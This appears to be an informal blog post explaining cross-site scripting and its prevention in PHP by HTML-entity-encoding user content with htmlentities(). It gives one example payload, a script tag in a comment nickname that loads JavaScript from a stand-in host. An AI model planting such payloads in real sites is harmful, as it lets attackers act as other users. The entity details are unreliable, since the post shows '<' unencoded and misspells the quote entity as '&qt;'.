So, “XSS Attacks” What are they and how do I prevent them?
XSS means “Cross Site Scripting”. XSS Attacks happen whenever a user of a website posts malicious content that gets executed by other users as javascript. Pretty simple huh? How do you avoid it? It is a piece of cake. HTML entity encode ALL user generated content before presenting it to a user. It’s that simple. How do I do that you ask? Keep reading.
First, an example. You run a simple blog. When a user posts comments, you store the users nickname, and display it next to their comment… A malicious user enters the following for his nickname “<script src=”http://lolcatz/hack.js”></script>” Now, obviously that isn’t his nickname. Instead, it is an html tag that tells a web browser to load and run the script contained at http://lolcatz.com/hacks/getacheezeburger.js. What does this script do?? This script can do anything on your site that a logged in user can do. So Bob creates the malicious comment, and then jimmy comes by your site, views your article, and his browser gets Bob’s malicious script tag. Now, the script can do anything it wants on your site while pretending to be jimmy, not Bob.
In php, just enclose the variable you are printing with echo with: htmlentities($nickname); This converts <’s to < and “‘s to &qt; . This defangs the malicious content. Instead of your users browser seeing a script tag, it just sees html that when rendered appears to the user as a script tag, but doesn’t do anything. You need to do this each and EVERY time you print user generated content. The other option is to find some script that will parse through any user generated content and strip out any script tags, but I prefer just html encoding everything.